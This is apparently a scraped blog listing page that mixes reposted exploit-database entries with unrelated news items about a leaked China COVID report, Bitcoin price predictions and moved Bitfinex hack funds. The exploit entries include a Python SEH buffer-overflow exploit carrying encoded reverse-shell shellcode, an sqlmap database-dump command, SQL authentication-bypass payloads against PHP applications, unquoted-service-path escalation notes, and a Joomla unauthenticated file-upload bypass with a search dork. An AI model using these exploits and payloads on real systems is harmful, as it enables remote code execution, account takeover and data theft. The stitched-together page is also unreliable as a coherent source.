Saturday, May 18, 2024
Home Blog Page 69

10-Strike Network Inventory Explorer 8.65 – Buffer Overflow (SEH)

0

Date: 2020-12-01

CVE: N/A

Platform: WIN

# Exploit Title: 10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)
# Exploit Author: Sectechs
# Vendor Homepage: https://www.10-strike.com
# Version: 8.65
# Tested on: Windows 7 x86 SP1 

import os
import sys
import struct
import socket


crash ="A"* 209 

# jmp short 8
# kali@root:msf-nasm_shell
# nasm> jmp short 8
Next_SE_Pointer = "\xeb\x06\x90\x90"
# 61e8497a
SE_Handler="\x7a\x49\xe8\x61"
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.6.211 LPORT=5555 -f c -b "\x00" -e x86/alpha_mixed 
payload = (
"\xdb\xc3\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x59\x78\x6d\x52\x43\x30\x53\x30\x75\x50\x33\x50\x4f\x79"
"\x69\x75\x34\x71\x69\x50\x32\x44\x4e\x6b\x32\x70\x64\x70\x6c"
"\x4b\x76\x32\x54\x4c\x4e\x6b\x31\x42\x66\x74\x6c\x4b\x72\x52"
"\x74\x68\x44\x4f\x48\x37\x42\x6a\x34\x66\x76\x51\x79\x6f\x6c"
"\x6c\x77\x4c\x65\x31\x53\x4c\x74\x42\x64\x6c\x77\x50\x39\x51"
"\x38\x4f\x74\x4d\x66\x61\x38\x47\x59\x72\x48\x72\x52\x72\x63"
"\x67\x6c\x4b\x66\x32\x56\x70\x6c\x4b\x43\x7a\x45\x6c\x6c\x4b"
"\x30\x4c\x76\x71\x43\x48\x4b\x53\x62\x68\x45\x51\x4b\x61\x43"
"\x61\x4c\x4b\x73\x69\x57\x50\x37\x71\x68\x53\x4e\x6b\x52\x69"
"\x36\x78\x6d\x33\x46\x5a\x43\x79\x4e\x6b\x35\x64\x4c\x4b\x77"
"\x71\x5a\x76\x75\x61\x6b\x4f\x4e\x4c\x4b\x71\x58\x4f\x46\x6d"
"\x65\x51\x5a\x67\x66\x58\x79\x70\x63\x45\x6a\x56\x75\x53\x63"
"\x4d\x6c\x38\x45\x6b\x53\x4d\x54\x64\x32\x55\x4b\x54\x52\x78"
"\x6e\x6b\x71\x48\x71\x34\x77\x71\x5a\x73\x55\x36\x6e\x6b\x56"
"\x6c\x50\x4b\x4e\x6b\x50\x58\x55\x4c\x36\x61\x78\x53\x6c\x4b"
"\x54\x44\x4e\x6b\x65\x51\x5a\x70\x6d\x59\x71\x54\x36\x44\x67"
"\x54\x73\x6b\x51\x4b\x51\x71\x50\x59\x50\x5a\x62\x71\x79\x6f"
"\x4b\x50\x73\x6f\x51\x4f\x63\x6a\x4e\x6b\x55\x42\x58\x6b\x4e"
"\x6d\x53\x6d\x45\x38\x65\x63\x74\x72\x35\x50\x55\x50\x53\x58"
"\x62\x57\x31\x63\x37\x42\x61\x4f\x36\x34\x33\x58\x32\x6c\x53"
"\x47\x31\x36\x73\x37\x4b\x4f\x49\x45\x68\x38\x4c\x50\x56\x61"
"\x33\x30\x57\x70\x44\x69\x68\x44\x76\x34\x30\x50\x32\x48\x67"
"\x59\x6d\x50\x50\x6b\x73\x30\x39\x6f\x59\x45\x32\x70\x72\x70"
"\x72\x70\x70\x50\x71\x50\x52\x70\x31\x50\x70\x50\x33\x58\x6a"
"\x4a\x36\x6f\x49\x4f\x6b\x50\x69\x6f\x38\x55\x4a\x37\x33\x5a"
"\x43\x35\x43\x58\x4f\x30\x6f\x58\x66\x66\x4e\x33\x73\x58\x46"
"\x62\x35\x50\x32\x35\x4c\x73\x6d\x59\x38\x66\x62\x4a\x72\x30"
"\x50\x56\x36\x37\x71\x78\x7a\x39\x59\x35\x42\x54\x35\x31\x79"
"\x6f\x4b\x65\x4b\x35\x39\x50\x52\x54\x54\x4c\x69\x6f\x30\x4e"
"\x47\x78\x52\x55\x38\x6c\x61\x78\x4c\x30\x58\x35\x79\x32\x33"
"\x66\x79\x6f\x4a\x75\x72\x48\x35\x33\x52\x4d\x71\x74\x53\x30"
"\x4d\x59\x59\x73\x51\x47\x50\x57\x70\x57\x75\x61\x78\x76\x33"
"\x5a\x76\x72\x73\x69\x51\x46\x48\x62\x6b\x4d\x70\x66\x6b\x77"
"\x47\x34\x57\x54\x37\x4c\x57\x71\x46\x61\x6e\x6d\x32\x64\x46"
"\x44\x44\x50\x79\x56\x65\x50\x37\x34\x73\x64\x56\x30\x52\x76"
"\x33\x66\x62\x76\x67\x36\x32\x76\x42\x6e\x56\x36\x32\x76\x62"
"\x73\x43\x66\x45\x38\x51\x69\x78\x4c\x37\x4f\x6b\x36\x49\x6f"
"\x58\x55\x4c\x49\x39\x70\x62\x6e\x73\x66\x71\x56\x39\x6f\x76"
"\x50\x55\x38\x35\x58\x6c\x47\x47\x6d\x45\x30\x79\x6f\x69\x45"
"\x6d\x6b\x78\x70\x6c\x75\x4c\x62\x73\x66\x35\x38\x69\x36\x7a"
"\x35\x6d\x6d\x4d\x4d\x39\x6f\x5a\x75\x67\x4c\x67\x76\x51\x6c"
"\x45\x5a\x4f\x70\x69\x6b\x39\x70\x54\x35\x36\x65\x6d\x6b\x33"
"\x77\x56\x73\x43\x42\x30\x6f\x72\x4a\x65\x50\x62\x73\x49\x6f"
"\x68\x55\x41\x41")
buffer = crash + Next_SE_Pointer + SE_Handler  + "\x90" * 20 +  payload  + "\x90" * 200
f=open("PoC6.txt","w")
	
f.write(buffer)
f.close()
'''
  ----------------------------------
  | NEXT SEH Pointer               |
--|------ ESP                      |     |     < ------- A * 209
| |---------------------------------     |
| | SE_Handler        ▲            |     |
| |   #POP #POP #RET  |            |     |  
| | -------------------------------|     |
|					 ▼ Stack
|
|
|______ ► -------------------------
         |      PAYLOAD            | -------- ► call | KALI |
         __________________________

'''
            
Bookmark
ClosePlease login

Online Shopping Alphaware 1.0 – Error Based SQL injection

0
# Title: Online Shopping Alphaware 1.0 - Error-Based SQL injection
# Exploit Author: Moaaz Taha (0xStorm)
# Vendor Homepage: https://www.sourcecodester.com/php/14368/online-shopping-alphaware-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14368&title=Online+Shopping+Alphaware+in+PHP%2FMysql# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "id" is vulnerable to Error-Based blind SQL injection in this path "/alphaware/details.php?id=431860" that leads to retrieve all databases.

#POC
sqlmap -u "http://192.168.1.55:8888/alphaware/details.php?id=431860" -p id --dbms=mysql --dbs --technique=E --threads=10
            

Date: 2020-12-01

CVE: N/A

Platform: PHP

Bookmark
ClosePlease login

Medical Center Portal Management System 1.0 – ‘login’ SQL Injection

0

Date: 2020-12-01

CVE: N/A

Platform: PHP

# Exploit Title: Medical Center Portal Management System 1.0 - 'login' SQL Injection
# Dork: N/A
# Exploit Author: Aydın Baran Ertemir
# Vendor Homepage: https://www.sourcecodester.com/php/14594/medical-center-portal-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14594&title=Medical+Center+Portal+Management+System+using+PHP%2FMySQLi
# Version: 1.0
# Category: Webapps
# Tested on: Kali Linux

# POC:
# 1)
# http://localhost/medic/pages/login.php
#
POST /medic/pages/processlogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost
Connection: close
Referer: http://localhost/medic/pages/login.php
Cookie: PHPSESSID=ef7226c5aa187ed19ce1815df30e079e
Upgrade-Insecure-Requests: 1

user=1%27+or+1%3D1%23&password=1%27+or+1%3D1%23&btnlogin=
Bookmark
ClosePlease login

Social Networking Site – Authentication Bypass (SQli)

0

Date: 2020-12-01

CVE: N/A

Platform: PHP

# Exploit Title: Social Networking Site - Authentication Bypass (SQli)
# Exploit Author: gh1mau 
# Email: gh1mau.rulez@gmail.com
# Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code
# Software Release Date: November 17, 2020
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
/signin_form.php

Vulnerable Code:
-----------------
Entry point:

line 7: $email=$_POST['email'];
line 8: $password=$_POST['password'];

Exit point:
line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'");

Vulnerable Issue:
-----------------
Attacker could bypass the authentication using simple sqli login bypass payload

	username: gh1mau@gh1mau.com
	password: ' or '1'='1
Bookmark
ClosePlease login

EPSON Status Monitor 3 ‘EPSON_PM_RPCV4_06’ – Unquoted Service Path Exploit

0

Date: 2020-12-01

CVE: N/A

Platform: WIN

#Exploit Title: EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path
#Exploit Author : SamAlucard
#Vendor :  SEIKO EPSON Corp
#Version : EPSON_PM_RPCV4_06 8.0
#Vendor Homepage : https://epson.com
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============
C:\>sc qc EPSON_PM_RPCV4_06
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: EPSON_PM_RPCV4_06
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Common Files\EPSON\EPW!3
SSRP\E_S60RPB.EXE
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : EPSON V3 Service4(06)
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Bookmark
ClosePlease login

Global Registration Service 1.0.0.3 – ‘GREGsvc.exe’ Unquoted Service Path

0

Date: 2020-12-01

CVE: N/A

Platform: WIN

# Exploit Title: Global Registration Service 1.0.0.3 - 'GREGsvc.exe'  Unquoted Service Path
# Discovery by: Emmanuel Lujan
# Vendor Homepage: https://www.acer.com/ac/en/US/content/home
# Tested Version: 1.0.0.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Home Premium x64 

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

GREGService                                                             GREGServ
ice                                   C:\Program Files (x86)\Acer\Registration\G
REGsvc.exe                                                Auto

# Service info:

C:\>sc qc GregService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GREGService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Acer\Registration\GREGsvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : GREGService
        DEPENDENCIES       :                            
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Bookmark
ClosePlease login

LEAKED docs from China ‘show country LIED to the world about Coronavirus

0
lies
lies

CHINA Lied to the world

CHINA lied to the world about coronavirus and hid its true infection rate to “protect” its image, damning leaked files allegedly reveal.

The explosive secret data, from China’s own health chiefs, appears to expose a catalogue of cover-ups and blunders which hid the true scale of the killer disease that has since killed 1.5 million people.

CNN said it had investigated the treasure trove of information, contained in a 117-page report marked “internal document, please keep confidential”.

The leaked files expose China’s botched coronavirus response, including how Beijing downplayed data, taking weeks to diagnose new cases.

Experts said China may have worked to try and suppress information to try and “protect its image” worldwide.

The broadcaster found:

  • China’s system took on average 23 days to diagnose confirmed patients.
  • Testing failures meant most of those swabbed for Covid received negative results until January 10.
  • Underfunding, understaffing, poor morale and bureaucratic red tape hindered China’s early warning system.

“It was clear they did make mistakes, and not just mistakes that happen when you’re dealing with a novel virus – also bureaucratic and politically-motivated errors in how they handled it,” said Yanzhong Huang.

The senior fellow for global health at the Council on Foreign Relations, who has written extensively on public health in China told CNN: “These had global consequences.”

Andrew Mertha, director of the China Studies Program at John Hopkins University, told the New York Post: “China had an image to protect internationally, and lower-ranking officials had a clear incentive to under-report — or to show their superiors that they were under-reporting — to outside eyes.”


China delayed releasing information

China infamously delayed releasing coronavirus information, frustrating the many throughout the pandemic which has so far resulted in nearly 1.5million deaths.

The apparent cover-up is laid bare in the secret files, passed on by a concerned whistleblower.

It reportedly shows that local health bosses in Hubei, where the virus was first detected, listed a total of 5,918 newly detected Covid cases on February 10.

wuhan leak
Where Is WUHAN?

That figure – never publicly released – is more than twice the official public number of confirmed cases admitted by China.

Beijing has recently blamed the start of Covid on IndiaSpain, and Italy.

In May, China’s ambassador to the UK claimed his country was a “victim” of the coronavirus pandemic – and denied claims of a cover-up.

But, a large and previously undisclosed outbreak of influenza hit Hubei province in early December, the documents show.

This coincides with the first known patient showing symptoms of Covid in Hubei’s provincial capital of Wuhan on December 1, 2019.

The influenza “epidemic” caused flu cases to rocket 20 times the level recorded the previous year, the documents say.


WHISTLEBLOWER

Apart from hitting Wuhan, the influenza outbreak made a significant impact on the neighbouring cities of Yichang and Xianning.

CNN says: “It remains unclear what impact or connection the influenza spike had on the Covid-19 outbreak.”

The files were presented to the broadcaster by an anonymous whistleblower.

The person said they worked inside the Chinese healthcare system, and wanted to expose the truth that had been censored.

They also wanted to honour colleagues who had previously spoken out.

The information has been verified by six independent experts who examined the veracity of their content, the broadcaster reported.

Throughout January, the World Health Organisation publicly praised China for what it called a speedy response to the new coronavirus.

It repeatedly thanked the Chinese government for sharing the genetic map of the virus “immediately,” and said its work and commitment to transparency were “very impressive, and beyond words.”

Despite the plaudits, China in fact sat on releasing the genetic map, or genome, of the virus for more than a week after three different government labs had fully decoded the information, said the Associated Press.

Chinese government labs only released the genome after another lab published it ahead of authorities on a virologist website on January 11.

China stalled for at least two weeks more on providing WHO with detailed data on patients and cases at a time when the outbreak arguably might have been dramatically slowed.

This revelation prompted US President Donald Trump to blast WHO for allegedly colluding with China to hide the extent of the coronavirus crisis.

He cut ties with the organisation.

But, WHO was kept in the dark as China gave it the minimal information required by law, AP says.

Also, China deliberately didn’t warn public of the looming pandemic for six key days.

Top Chinese officials secretly determined they were likely facing a pandemic from a new virus, AP found.

That delay from January 14 to January 20 coincided with millions travelling for Lunar New Year celebrations.

But, by January 20, “more than 3,000 people had been infected during almost a week of public silence”, the AP found.


Bookmark
ClosePlease login

Joomla! Component GMapFP 3.5 – Unauthenticated File Upload Exploit

0

Date: 2020-12-01

CVE: 2020-23972

Platform: PHP

# Exploit Title: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
# Google Dork: inurl:''com_gmapfp''
# Exploit Author: ThelastVvV
# Vendor Homepage: https://gmapfp.org/
# Version:Version J3.5 /J3.5free
# Tested on: Ubuntu
# CVE: CVE-2020-23972

# Description:

An attacker can access the upload function of the application without authenticating to the application and also can upload files due the issues of unrestricted file uploads which can be bypassed by changing the content-type and name file too double extensions 

# PoC:


Version J3.5
http://127.0.0.1/index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=edit_upload

-Once the attacker can locate the unauthenticated file upload form then the attacker can bypass the restriction by changing content-type and name file double extensions file.html.gif then can open file.html

# Impact
the attacker can upload malicious files can cause defacement of the site or uploading large amount of file til causes denial of service attack to Webapp/Server

# Dir File Path:
http://127.0.0.1///images/stories/gmapfp/test.html.gif
http://127.0.0.1///images/stories/gmapfp/test.html
http://127.0.0.1///images/gmapfp/test2.html.gif
http://127.0.0.1///images/gmapfp/test2.html.gif

Bookmark
ClosePlease login

BITCOIN WILL SOAR to $500,000 and surpass gold says Winklevoss twins

0
e0ceba771b945ff0111295a729d80d72
e0ceba771b945ff0111295a729d80d72
  • Tyler and Cameron Winklevoss told CNBC on Monday that bitcoin will skyrocket to $500,000 within the next decade and surpass gold as a store of value. 
  • “Our thesis is that bitcoin is gold 2.0, that it will disrupt gold, and if it does that, it has to have a market cap of 9 trillion, so we think it could price one day at $500,000 of bitcoin,” Tyler Winklevoss said.
  • The cofounders of Gemini explained that Bitcoin is a better store of value than gold and offers higher returns.
  • Bitcoin climbed to a new record high today, bringing its year-to-date gain to 177%.

Tyler and Cameron Winklevoss told CNBC that bitcoin will skyrocket to $500,000 within the next decade as it surpasses gold as a store of value. 

The cofounders of Gemini appeared on CNBC shortly before bitcoin jumped 8.7% to a record high on Monday. The coin now trades at over $19,000, but the Winklevoss’s said bitcoin still has a long way to run.

“Our thesis is that bitcoin is gold 2.0, that it will disrupt gold, and if it does that, it has to have a market cap of 9 trillion, so we think it could price one day at $500,000 of bitcoin,” Tyler Winklevoss said. “So at $18,000 bitcoin, it’s a hold or at least if you don’t have any, it’s a buy opportunity because we think there’s a 25x from here.”

Bitcoin Soar

As of Monday, Bitcoin has sky rocketed over 177% year-to-date. Cameron Winklevoss explained that the surge is due to an increasing number of investors realizing that bitcoin is the best defense against inflation. While gold has historically been the go-to inflation hedge, bitcoin offers a much higher return, he said.

“A lot of people are realizing that bitcoin is the best defense and offers the opportunity for an asymmetric return of something like 25 to 40x from here, and I don’t think there’s an asset in the universe that can credibly offer that kind of potential and protect against inflation,” said Cameron Winklevoss.

The brothers added that bitcoin is an emergent store of value and doesn’t need to be a ubiquitous medium of exchange to continue to grow. Tyler Winklevoss explained that “no one uses gold to buy coffee,” and yet the precious metal has a market capitalization of $9 trillion because investors use it as a store of value. Bitcoin will grow to be a better store of value, particularly because it’s more durable and easier to transport than gold, the investor said.

If bitcoin can also be used as a currency, which isn’t off the table, it could surge even higher than $500,000, said Tyler Winklevoss. 

Earlier This Year

Back in August, he wrote a blog post titled “The Case for $500k Bitcoin,” where he explained that bitcoin is ultimately the only long-term protection against inflation because there are fundamental problems with gold, oil, and the US dollar as stores of value. 

Bookmark
ClosePlease login

$96 million in bitcoin tied to a 2016 Bitfinex hack has been moved

0
Should your pub install a Bitcoin ATM wrbm large
Should your pub install a Bitcoin ATM wrbm large

A staggering $ 96.7 MILLION bitcoin stolen from crypto exchange Bitfinex in a 2016 hack was moved on Monday.

The 14 separate transactions, tracked by Twitter-based alert service Whale Alert, show that 5045.48 BTC in total was transferred. The movements come more than two months since the most recent such occurrence when more than $26 million in bitcoin at then-current prices was transferred. 

Bitfinex was hacked in August 2016, and nearly 120,000 BTC was stolen during that security breach. That incident led Bitfinex to socialize the losses among its user base and later create a token, dubbed BFX, to reimburse those who experienced funds haircuts.

In August, Bitfinex offered a public reward in an effort to spur its recovery efforts.

Bookmark
ClosePlease login